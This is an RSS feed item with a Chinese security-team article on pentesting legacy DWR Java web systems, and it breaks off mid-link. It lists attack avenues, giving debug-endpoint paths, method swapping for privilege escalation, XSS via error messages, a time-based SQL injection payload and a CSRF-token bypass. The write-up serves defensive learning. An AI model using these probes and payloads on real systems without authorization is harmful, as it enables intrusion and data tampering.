<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Tide安全团队</title>
    <link>https://wechat2rss.xlab.app/feed/fb1486a83f41d2b3ab5758c9811936beaa762097.xml</link>
    <description>Tide安全团队以信安技术研究为目标，致力于分享高质量原创文章、开源安全工具、交流安全技术，研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域，对安全感兴趣的小伙伴可以关注我们。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (Tide安全团队)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7f2r4cHKV0tKOK4v87qvAYZazjibgqC5HkYyaQeibGau4g/0</url>
      <title>Tide安全团队</title>
      <link>https://wechat2rss.xlab.app/feed/fb1486a83f41d2b3ab5758c9811936beaa762097.xml</link>
    </image>
    <item>
      <title>梦回2017-遇到.dwr</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247522480&amp;idx=1&amp;sn=7be1a7e7226743d44fed56b8a59f9897</link>
      <description>DWR是一个Java AJAX远程调用框架，让浏览器JS像调用本地函数一样调用后端Java方法。在国内的政企、运营商、传统金融行业，仍有大量基于 Struts2+DWR+jQuery老栈的存量系统在线运行。</description>
      <content:encoded><![CDATA[<p>原创 <span>swordlover</span> <span>2026-08-06 17:31</span> <span style="display: inline-block;">山东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c2d84a78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjS2mB7OlsdVpCagFiccodsN5mjCNcveqdib4xuhqMibmqYmGicycibVqsqnA5Q1AnpngVBMHjOrkwXrw4C9w2p8YparzvHLWNwm6ziaLmOX0QZsHk%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>DWR是一个Java AJAX远程调用框架，让浏览器JS像调用本地函数一样调用后端Java方法。在国内的政企、运营商、传统金融行业，仍有大量基于 Struts2+DWR+jQuery老栈的存量系统在线运行。</p>
  <div style="word-break: break-all;box-sizing: border-box;max-width: 100% !important;" data-pm-slice="0 0 []"><div data-mpa-template="t" style="margin-bottom: 0px;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" data-pm-slice="0 0 []"><div data-mid="" style="padding-right: 10px;padding-left: 10px;width: 578px;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><div data-mid="" style="width: 558px;display: flex;flex-direction: column;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><div data-mpa-template="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><div data-mid="" style="padding-right: 10px;padding-left: 10px;width: 578px;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><div data-mid="" style="width: 558px;display: flex;flex-direction: column;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><p data-mid="" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8571428571428571" data-w="42" style="max-width: 100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></p><div data-mid="" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><p data-mid="" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8936170212765957" data-w="94" style="max-width: 100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></p></div></div></div></div></div></div><div data-pm-slice="0 0 []" style="color: black;padding: 10px;word-break: break-all;font-size: 16px;line-height: 1.8;text-align: left;margin-bottom: 0px;box-sizing: border-box;max-width: 100% !important;"><blockquote style="margin-top: 20px;margin-right: 0px;margin-left: 0px;padding: 15px 20px;border-left-width: 4px;border-left-style: solid;background-color: rgb(249, 249, 249);color: rgb(85, 85, 85);font-style: italic;border-color: rgb(0, 0, 0) !important;"><p style="color: rgb(51, 51, 51);margin-top: 0px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">“I have no special talents. I am only passionately curious.” ---Albert Einstein（阿尔伯特·爱因斯坦）</span></p></blockquote><p style="margin-top: 40px;margin-right: 0px;margin-left: 0px;font-size: 24px;font-weight: 800;line-height: 1.4;letter-spacing: -0.5px;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">一、因何而起</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">在某次已授权的渗透测试中，发现抓到的数据包长得不太一样，所有的荷载请求都左对齐，感觉它长得非常...板正...</span><del><span leaf="">深得朕的喜爱，于是我翻了它的牌子</span></del><span leaf="">，就想看看到底是啥。</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0797872340425532" data-type="png" data-w="376" style="max-width: 100% !important;height: 206px;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;width: 191px;" data-imgfileid="100038817" src="https://wechat2rss.xlab.app/img-proxy/?k=6de9a46c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdUE7HRIibic52LicrSdfiaMgLicTWgOPpOO3lHUkQqpWGYe0HaicgUtp8J0FVwOAzFdhGTJhDZiccmhnWib9sxicicMCvWWksIRWbmhBuV2M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 40px;margin-right: 0px;margin-left: 0px;font-size: 24px;font-weight: 800;line-height: 1.4;letter-spacing: -0.5px;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">二、为何梦回2017</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">因为这个技术是DWR（Direct Web Remoting）。它在2005年发布，在2017年进了Apache Attic后基本停止维护了，到现在已经停止维护超过8年。（也就是说，他停止维护的时候我才刚上大学，刚拥有电脑，刚进入互联网，刚开始涌动荷尔蒙）</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0628930817610063" data-type="png" data-w="318" style="max-width: 100% !important;height: 193px;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;width: 182px;" data-imgfileid="100038820" src="https://wechat2rss.xlab.app/img-proxy/?k=d6096260&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdUUzRdW1ibLcMv8dMcWJGQxCHG1P38iaVFLemnXlmolbDelGeQ89e3utWdYnF4cgiboDSZpX1mo5mEZG6Libw40XOTwt2OorYB1ziaI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 30px;margin-right: 0px;margin-left: 0px;font-size: 20px;font-weight: bold;border-bottom-width: 2px;border-bottom-style: solid;padding-bottom: 5px;display: inline-block;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">2.1 那为什么还值得写 DWR</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">DWR是一个Java AJAX远程调用框架，让浏览器JS像调用本地函数一样调用后端Java方法。在国内的政企、运营商、传统金融行业，仍有大量基于 Struts2+DWR+jQuery老栈的存量系统在线运行。（比如这次我就遇到啦）</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.42592592592592593" data-type="png" data-w="1080" style="max-width: 100% !important;height: auto;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038819" src="https://wechat2rss.xlab.app/img-proxy/?k=9ba929f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdW22VuSqr5qGulo3VZS1ibZ1oicoeo4YASYet0S7dfP4zkIXMiafOSDdGInDvLf2ia6GhWGJSxCFAiaTM7gQ9KamEgySkdtmnsD0Ubw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 30px;margin-right: 0px;margin-left: 0px;font-size: 20px;font-weight: bold;border-bottom-width: 2px;border-bottom-style: solid;padding-bottom: 5px;display: inline-block;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">2.2 和常见 Web 请求的对比</span></span></p><p style="margin-top: 25px;margin-right: 0px;margin-left: 0px;font-size: 18px;font-weight: bold;padding-left: 10px;border-left-width: 3px;border-left-style: solid;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">2.2.1 请求格式的差异化对比:</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5009259259259259" data-type="png" data-w="1080" style="max-width: 100% !important;height: auto;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038821" src="https://wechat2rss.xlab.app/img-proxy/?k=9bd11767&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdU7K3EWibkqb1pQCM39p9ZibR7ccFP4NR5XEsqia5hZgKVILxn3tqw7sXKPGiaXRCq1HkoCibvV5NljUtMBxg5KWkJCIicFaC6Je9jkA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 25px;margin-right: 0px;margin-left: 0px;font-size: 18px;font-weight: bold;padding-left: 10px;border-left-width: 3px;border-left-style: solid;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">2.2.2 Content-Type 与请求体对比</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.25092592592592594" data-type="png" data-w="1080" style="max-width: 100% !important;height: auto;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038818" src="https://wechat2rss.xlab.app/img-proxy/?k=0ce12699&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdX0hqIeNluTUIH2ibr3aWTN5PXt1qxKIPvHoH6OB1HDyiamws22I581Iku7GpnAvuNWNaQ1ribzYr9iazGiaFSicC172uNegnVzt9KEo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 25px;margin-right: 0px;margin-left: 0px;font-size: 18px;font-weight: bold;padding-left: 10px;border-left-width: 3px;border-left-style: solid;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">2.2.3 响应包格式对比</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.22314814814814815" data-type="png" data-w="1080" style="max-width: 100% !important;height: auto;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038822" src="https://wechat2rss.xlab.app/img-proxy/?k=4e0babb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdUicktGibibhwcCTM2rDpYIFJX4ibbicc21DeogZAlPC5Xz31JM3Z61plQ9WwtgOXRVXiaiasVjOe5zcVTXhKz0gZMWV2FPL0KK4WzJkY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 25px;margin-right: 0px;margin-left: 0px;font-size: 18px;font-weight: bold;padding-left: 10px;border-left-width: 3px;border-left-style: solid;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">2.2.4 来张图一目了然</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.30277777777777776" data-type="png" data-w="1080" style="max-width: 100% !important;height: auto;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038824" src="https://wechat2rss.xlab.app/img-proxy/?k=17dd92be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdU8RBZVZxBz0cmTvk20V2fXpoL59KEjU5iaOvY1QrL4RqLkKAKnwAw3xfrWZdNILgGd5Tl4f0FaKMJvdcdNGDCWGGr0veQwGS1E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 40px;margin-right: 0px;margin-left: 0px;font-size: 24px;font-weight: 800;line-height: 1.4;letter-spacing: -0.5px;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">三、DWR安全风险</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">那看到这么一个DWR数据包能干些啥呢，大概捋了个思路 </span></p><p style="margin-top: 30px;margin-right: 0px;margin-left: 0px;font-size: 20px;font-weight: bold;border-bottom-width: 2px;border-bottom-style: solid;padding-bottom: 5px;display: inline-block;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">3.1 调试接口未授权访问</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">可以构造/dwr/test/（或老版本/dwr/index.html）的请求，会列出所有可调用的JSstub，就可以直接尝试调用，类似于swagger的swagger-ui.html。</span></p><pre style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: none;border-radius: 12px;padding: 20px;margin-top: 20px;margin-right: 0px;margin-left: 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="GET /&amp;lt;context&amp;gt;/dwr/test/ 
GET /&amp;lt;context&amp;gt;/dwr/index.html 
GET /&amp;lt;context&amp;gt;/dwr/interface/&amp;lt;ScriptName&amp;gt;.js 
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: none;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span leaf="">GET /&lt;context&gt;/dwr/test/ GET /&lt;context&gt;/dwr/index.html GET /&lt;context&gt;/dwr/interface/&lt;ScriptName&gt;.js </span></code></pre><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038823" data-ratio="0.8138888888888889" style="max-width: 100% !important;height: auto;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c53de034&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdVgfpHaiaDZaHqj92icDFgCr8oNh7ZadRKWhx4L0UzbnYem7FEKqKTuVSescQ6Hw6icniba3VSbd5dtG4dwWZxzkuBicdOeciaZlTBWc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 30px;margin-right: 0px;margin-left: 0px;font-size: 20px;font-weight: bold;border-bottom-width: 2px;border-bottom-style: solid;padding-bottom: 5px;display: inline-block;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">3.2 越权</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">如果通过3.1可以获取全部或者高权限的方法列表，可以替换methodName的值尝试越权访问。比如目前权限只有getUserById，我们获取到了一个管理员才有的deleteUserById方法，那么可以尝试替换进去看看有没有越权。（此处仅举例，非常不建议针对增删改功能进行测试！容易爆炸！）</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46296296296296297" data-type="png" data-w="1080" style="max-width: 100% !important;height: auto;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038826" src="https://wechat2rss.xlab.app/img-proxy/?k=e8942640&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdW7j8h326icMZClFgMCvshyjs0rribm8CRatVOKwS4gZDZRSBMicLQRO0UbfwiaWkk0q5zYe6u1ic4RQfCQXicT338UF2hI2IF0iaw758%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 30px;margin-right: 0px;margin-left: 0px;font-size: 20px;font-weight: bold;border-bottom-width: 2px;border-bottom-style: solid;padding-bottom: 5px;display: inline-block;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">3.3 XSS</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">第一种，插入xss触发输入异常报错，DWR异常处理时就会把Java异常信息直接拼到响应中回传。m如果包含未转义的用户输入就会形成反射型XSS，像这样。</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.21481481481481482" data-type="png" data-w="1080" style="max-width: 100% !important;height: auto;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038825" src="https://wechat2rss.xlab.app/img-proxy/?k=3ce163d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdWVDY7yhKjuTuCmMRjoCYJCQqmKYrQ5YljOIXtDRS27L4HfXKq1D647sX3CduNYVyFicHxpM4gakFPGBotLtaZpia9IibibklibzwFA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">第二种，早期版本的page参数报错会回显到响应里且没做转义，可以在 page字段插入XSS。</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.22685185185185186" data-type="png" data-w="1080" style="max-width: 100% !important;height: auto;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038827" src="https://wechat2rss.xlab.app/img-proxy/?k=6c4c8f3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdWN6Bhxy2h5YZpEylVWB7eMyEzHR7K4fAsFpUadIauZ9QpPvl4ic6LibFOD6v5SmX4lLXrtv8dAQlmFliaqg7wcb6jicD36cPBr8ag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 30px;margin-right: 0px;margin-left: 0px;font-size: 20px;font-weight: bold;border-bottom-width: 2px;border-bottom-style: solid;padding-bottom: 5px;display: inline-block;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">3.4 SQL注入</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">这个也很常见，前几年有一些厂商的应用爆出许多了sql注入漏洞。主要原因是DWR配置老旧、暴露的方法越来越多，比如每加一个业务就配一个。以我这次测试时发现的举例，拼接一下&#39;;waitfor delay &#39;0:0:9&#39;--+qs就触发了延时。</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2740740740740741" data-type="png" data-w="1080" style="max-width: 100% !important;height: auto;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038828" src="https://wechat2rss.xlab.app/img-proxy/?k=ec910645&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdVxR0oYY0vt6RqwkIwW60YcHsPcszxRtccA5w2bodhw7xPcviagytHPVhdicNZlXMzyrJIM95eZKVGyygwDyzPia8yAAgcNRRFtJ8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 30px;margin-right: 0px;margin-left: 0px;font-size: 20px;font-weight: bold;border-bottom-width: 2px;border-bottom-style: solid;padding-bottom: 5px;display: inline-block;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">3.5 CSRF</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">DWR 早期版本完全依赖 JSESSIONID，没有 CSRF 防护。后续版本引入 scriptSessionId作为一次性令牌。但依旧可能会存在一些问题，比如：scriptSessionId没强制校验，置空即可绕过。测试时可以尝试 scriptSessionId=anyvalue、scriptSessionId=（空）发包仍能正常返回 ，那么CSRF 防护大概率可以绕过</span><strong style="color: rgb(0, 0, 0) !important;"><span leaf="">（可以摸鱼水个低危）。</span></strong></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038829" data-ratio="0.8932584269662921" style="max-width: 100% !important;height: 167px;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;width: 187px;" data-type="png" data-w="356" src="https://wechat2rss.xlab.app/img-proxy/?k=725f1c8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdX6oRMYibFYa5X3kRXHjx8Xibog6sWdVFSVAQeQlc25cooQeZDKUQojkB4G0Ve6VHoekQnnwR0sQ6ndvnW7gXeXRYBbOBCdK6lKc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 30px;margin-right: 0px;margin-left: 0px;font-size: 20px;font-weight: bold;border-bottom-width: 2px;border-bottom-style: solid;padding-bottom: 5px;display: inline-block;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">3.6 其他已知的公开漏洞</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">1、圣乔ERP系统多处SQL注入漏洞</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="font-weight: 500;text-decoration: underline 1px;text-underline-offset: 2px;color: rgb(0, 0, 0) !important;border-bottom-color: rgb(0, 0, 0) !important;" href="https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&amp;mid=2247489878&amp;idx=1&amp;sn=1359fe4b6b4dfe04c408e9693c7315a3&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/1iQAnHBLt8G6mFHxEtPmiQ" target="_blank">https://mp.weixin.qq.com/s/1iQAnHBLt8G6mFHxEtPmiQ</a></a></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">2、九思OA workflowSync.getUserStatusByRole.dwr SQL注入漏洞</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="font-weight: 500;text-decoration: underline 1px;text-underline-offset: 